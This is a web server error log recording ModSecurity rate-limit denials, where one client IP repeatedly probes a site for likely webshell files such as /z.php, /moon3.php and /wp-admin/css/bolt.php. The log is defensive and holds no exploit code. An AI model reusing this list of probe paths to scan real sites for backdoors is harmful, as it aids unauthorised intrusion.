[Sun Mar 01 15:57:41.398198 2026] [:error] [pid 38034:tid 38040] [client 4.204.200.32:18333] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/public/hi.php"] [unique_id "aaPxdQxtfZjwlJok9K_KpwAAAQQ"]
[Sun Mar 01 15:57:41.810833 2026] [:error] [pid 44644:tid 44667] [client 4.204.200.32:18258] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/public/hi.php"] [unique_id "aaPxdZ3RJaXMcw3y9V-zLwAAABQ"]
[Sun Mar 01 15:57:42.223291 2026] [:error] [pid 7133:tid 7154] [client 4.204.200.32:18310] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/public/hi.php"] [unique_id "aaPxdvCtubh8pR64qB_KCQAAAFM"]
[Sun Mar 01 15:57:42.634235 2026] [:error] [pid 38034:tid 38061] [client 4.204.200.32:18329] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/z.php"] [unique_id "aaPxdgxtfZjwlJok9K_KqwAAARc"]
[Sun Mar 01 15:57:43.046747 2026] [:error] [pid 40750:tid 40770] [client 4.204.200.32:18295] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/z.php"] [unique_id "aaPxdwfBuk03yQKDyqvMPgAAAdE"]
[Sun Mar 01 15:57:43.464242 2026] [:error] [pid 38241:tid 38268] [client 4.204.200.32:18322] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/z.php"] [unique_id "aaPxd_KRPk6YnJBxw_xcOQAAANg"]
[Sun Mar 01 15:57:43.874584 2026] [:error] [pid 42619:tid 42641] [client 4.204.200.32:18382] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/z.php"] [unique_id "aaPxdx_zUXcYaZE4AOeWggAAAVQ"]
[Sun Mar 01 15:57:44.289057 2026] [:error] [pid 41967:tid 41983] [client 4.204.200.32:18249] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vx.php"] [unique_id "aaPxeIO1bqY181I02eGR7gAAAI4"]
[Sun Mar 01 15:57:44.698549 2026] [:error] [pid 38241:tid 38258] [client 4.204.200.32:18398] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vx.php"] [unique_id "aaPxePKRPk6YnJBxw_xcPwAAAM4"]
[Sun Mar 01 15:57:45.107513 2026] [:error] [pid 38034:tid 38061] [client 4.204.200.32:18415] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vx.php"] [unique_id "aaPxeQxtfZjwlJok9K_KsQAAARc"]
[Sun Mar 01 15:57:45.516383 2026] [:error] [pid 44644:tid 44660] [client 4.204.200.32:18327] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vx.php"] [unique_id "aaPxeZ3RJaXMcw3y9V-zNAAAAA0"]
[Sun Mar 01 15:57:45.924984 2026] [:error] [pid 38241:tid 38256] [client 4.204.200.32:18396] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wqqs.php"] [unique_id "aaPxefKRPk6YnJBxw_xcQwAAAMw"]
[Sun Mar 01 15:57:46.337777 2026] [:error] [pid 41342:tid 41368] [client 4.204.200.32:18277] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wqqs.php"] [unique_id "aaPxeo4iJ6RAS5CatDlLCQAAAhc"]
[Sun Mar 01 15:57:46.750234 2026] [:error] [pid 44644:tid 44668] [client 4.204.200.32:18402] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wqqs.php"] [unique_id "aaPxep3RJaXMcw3y9V-zOQAAABU"]
[Sun Mar 01 15:57:47.171568 2026] [:error] [pid 38241:tid 38245] [client 4.204.200.32:18180] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wqqs.php"] [unique_id "aaPxe_KRPk6YnJBxw_xcRwAAAME"]
[Sun Mar 01 15:57:47.589280 2026] [:error] [pid 38241:tid 38265] [client 4.204.200.32:18263] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zc-318.php"] [unique_id "aaPxe_KRPk6YnJBxw_xcSQAAANU"]
[Sun Mar 01 15:57:47.999428 2026] [:error] [pid 38241:tid 38256] [client 4.204.200.32:18278] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zc-318.php"] [unique_id "aaPxe_KRPk6YnJBxw_xcTAAAAMw"]
[Sun Mar 01 15:57:48.410164 2026] [:error] [pid 38241:tid 38267] [client 4.204.200.32:18386] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zc-318.php"] [unique_id "aaPxfPKRPk6YnJBxw_xcTwAAANc"]
[Sun Mar 01 15:57:48.834138 2026] [:error] [pid 7165:tid 7177] [client 4.204.200.32:18267] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zc-318.php"] [unique_id "aaPxfBRjCrA8qWBjgG817QAAAko"]
[Sun Mar 01 15:57:49.246968 2026] [:error] [pid 38241:tid 38259] [client 4.204.200.32:18285] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dom.php"] [unique_id "aaPxffKRPk6YnJBxw_xcUwAAAM8"]
[Sun Mar 01 15:57:49.658917 2026] [:error] [pid 38034:tid 38040] [client 4.204.200.32:18244] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dom.php"] [unique_id "aaPxfQxtfZjwlJok9K_KuAAAAQQ"]
[Sun Mar 01 15:57:50.068971 2026] [:error] [pid 38034:tid 38043] [client 4.204.200.32:18274] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dom.php"] [unique_id "aaPxfgxtfZjwlJok9K_KuQAAAQU"]
[Sun Mar 01 15:57:50.480703 2026] [:error] [pid 38034:tid 38056] [client 4.204.200.32:18388] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dom.php"] [unique_id "aaPxfgxtfZjwlJok9K_KvQAAARI"]
[Sun Mar 01 15:57:50.894423 2026] [:error] [pid 38034:tid 38039] [client 4.204.200.32:18176] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Okxob.php"] [unique_id "aaPxfgxtfZjwlJok9K_KvgAAAQM"]
[Sun Mar 01 15:57:51.303212 2026] [:error] [pid 38034:tid 38051] [client 4.204.200.32:18393] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Okxob.php"] [unique_id "aaPxfwxtfZjwlJok9K_KwAAAAQ0"]
[Sun Mar 01 15:57:51.713127 2026] [:error] [pid 38034:tid 38061] [client 4.204.200.32:18284] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Okxob.php"] [unique_id "aaPxfwxtfZjwlJok9K_KwQAAARc"]
[Sun Mar 01 15:57:52.121752 2026] [:error] [pid 7165:tid 7169] [client 4.204.200.32:18354] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Okxob.php"] [unique_id "aaPxgBRjCrA8qWBjgG818AAAAkI"]
[Sun Mar 01 15:57:52.534584 2026] [:error] [pid 44644:tid 44660] [client 4.204.200.32:18289] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/moon3.php"] [unique_id "aaPxgJ3RJaXMcw3y9V-zQgAAAA0"]
[Sun Mar 01 15:57:52.967218 2026] [:error] [pid 41780:tid 41793] [client 4.204.200.32:18179] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/moon3.php"] [unique_id "aaPxgMONkVoocLIqzy0TWwAAA8o"]
[Sun Mar 01 15:57:53.376777 2026] [:error] [pid 38034:tid 38049] [client 4.204.200.32:18283] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/moon3.php"] [unique_id "aaPxgQxtfZjwlJok9K_KyAAAAQs"]
[Sun Mar 01 15:57:53.795373 2026] [:error] [pid 38241:tid 38268] [client 4.204.200.32:18308] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/moon3.php"] [unique_id "aaPxgfKRPk6YnJBxw_xcWgAAANg"]
[Sun Mar 01 15:57:54.206523 2026] [:error] [pid 38241:tid 38264] [client 4.204.200.32:18376] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/thui.php"] [unique_id "aaPxgvKRPk6YnJBxw_xcWwAAANQ"]
[Sun Mar 01 15:57:54.622001 2026] [:error] [pid 38241:tid 38259] [client 4.204.200.32:18255] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/thui.php"] [unique_id "aaPxgvKRPk6YnJBxw_xcXQAAAM8"]
[Sun Mar 01 15:57:55.038480 2026] [:error] [pid 38034:tid 38062] [client 4.204.200.32:18187] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/thui.php"] [unique_id "aaPxgwxtfZjwlJok9K_K0gAAARg"]
[Sun Mar 01 15:57:55.448606 2026] [:error] [pid 38241:tid 38257] [client 4.204.200.32:18191] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/thui.php"] [unique_id "aaPxg_KRPk6YnJBxw_xcXwAAAM0"]
[Sun Mar 01 15:57:55.891709 2026] [:error] [pid 44644:tid 44649] [client 4.204.200.32:18178] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ebahvhhh.php"] [unique_id "aaPxg53RJaXMcw3y9V-zSgAAAAI"]
[Sun Mar 01 15:57:56.302778 2026] [:error] [pid 41967:tid 41974] [client 4.204.200.32:18238] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ebahvhhh.php"] [unique_id "aaPxhIO1bqY181I02eGR8gAAAIU"]
[Sun Mar 01 15:57:56.710794 2026] [:error] [pid 38241:tid 38265] [client 4.204.200.32:18269] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ebahvhhh.php"] [unique_id "aaPxhPKRPk6YnJBxw_xcZAAAANU"]
[Sun Mar 01 15:57:57.122939 2026] [:error] [pid 38241:tid 38249] [client 4.204.200.32:18268] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ebahvhhh.php"] [unique_id "aaPxhfKRPk6YnJBxw_xcZgAAAMU"]
[Sun Mar 01 15:57:57.534967 2026] [:error] [pid 41967:tid 41972] [client 4.204.200.32:18331] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/snq.php"] [unique_id "aaPxhYO1bqY181I02eGR8wAAAIM"]
[Sun Mar 01 15:57:57.947771 2026] [:error] [pid 44644:tid 44651] [client 4.204.200.32:18251] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/snq.php"] [unique_id "aaPxhZ3RJaXMcw3y9V-zUAAAAAQ"]
[Sun Mar 01 15:58:04.813197 2026] [:error] [pid 38241:tid 38245] [client 4.204.200.32:18337] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aaPxjPKRPk6YnJBxw_xclQAAAME"]
[Sun Mar 01 15:58:05.223883 2026] [:error] [pid 44644:tid 44669] [client 4.204.200.32:18286] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aaPxjZ3RJaXMcw3y9V-zbAAAABY"]
[Sun Mar 01 15:58:05.678311 2026] [:error] [pid 44644:tid 44662] [client 4.204.200.32:18185] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aaPxjZ3RJaXMcw3y9V-zbQAAAA8"]
[Sun Mar 01 15:58:06.113606 2026] [:error] [pid 7165:tid 7185] [client 4.204.200.32:18250] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aaPxjhRjCrA8qWBjgG81-QAAAlI"]
[Sun Mar 01 15:58:06.523800 2026] [:error] [pid 44644:tid 44667] [client 4.204.200.32:18254] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/app.php"] [unique_id "aaPxjp3RJaXMcw3y9V-zdQAAABQ"]
[Sun Mar 01 15:58:06.933817 2026] [:error] [pid 38034:tid 38053] [client 4.204.200.32:18346] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/app.php"] [unique_id "aaPxjgxtfZjwlJok9K_K4QAAAQ8"]
[Sun Mar 01 15:58:07.346254 2026] [:error] [pid 38034:tid 38061] [client 4.204.200.32:18350] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/app.php"] [unique_id "aaPxjwxtfZjwlJok9K_K4wAAARc"]
[Sun Mar 01 15:58:07.790263 2026] [:error] [pid 38034:tid 38037] [client 4.204.200.32:18363] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/app.php"] [unique_id "aaPxjwxtfZjwlJok9K_K5gAAAQE"]
[Sun Mar 01 15:58:08.201034 2026] [:error] [pid 38034:tid 38062] [client 4.204.200.32:18332] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws59.php"] [unique_id "aaPxkAxtfZjwlJok9K_K5wAAARg"]
[Sun Mar 01 15:58:08.637177 2026] [:error] [pid 38034:tid 38047] [client 4.204.200.32:18297] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws59.php"] [unique_id "aaPxkAxtfZjwlJok9K_K6QAAAQk"]
[Sun Mar 01 15:58:09.047919 2026] [:error] [pid 37032:tid 37037] [client 4.204.200.32:18380] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws59.php"] [unique_id "aaPxkeu0U4o7eSImsVRPTgAAAYM"]
[Sun Mar 01 15:58:09.459431 2026] [:error] [pid 38241:tid 38256] [client 4.204.200.32:18275] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws59.php"] [unique_id "aaPxkfKRPk6YnJBxw_xcmgAAAMw"]
[Sun Mar 01 15:58:09.967607 2026] [:error] [pid 38241:tid 38267] [client 4.204.200.32:18201] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blog.php"] [unique_id "aaPxkfKRPk6YnJBxw_xcmwAAANc"]
[Sun Mar 01 15:58:10.382300 2026] [:error] [pid 41967:tid 41986] [client 4.204.200.32:18194] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blog.php"] [unique_id "aaPxkoO1bqY181I02eGR9wAAAJE"]
[Sun Mar 01 15:58:10.871028 2026] [:error] [pid 38034:tid 38062] [client 4.204.200.32:18356] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blog.php"] [unique_id "aaPxkgxtfZjwlJok9K_K8QAAARg"]
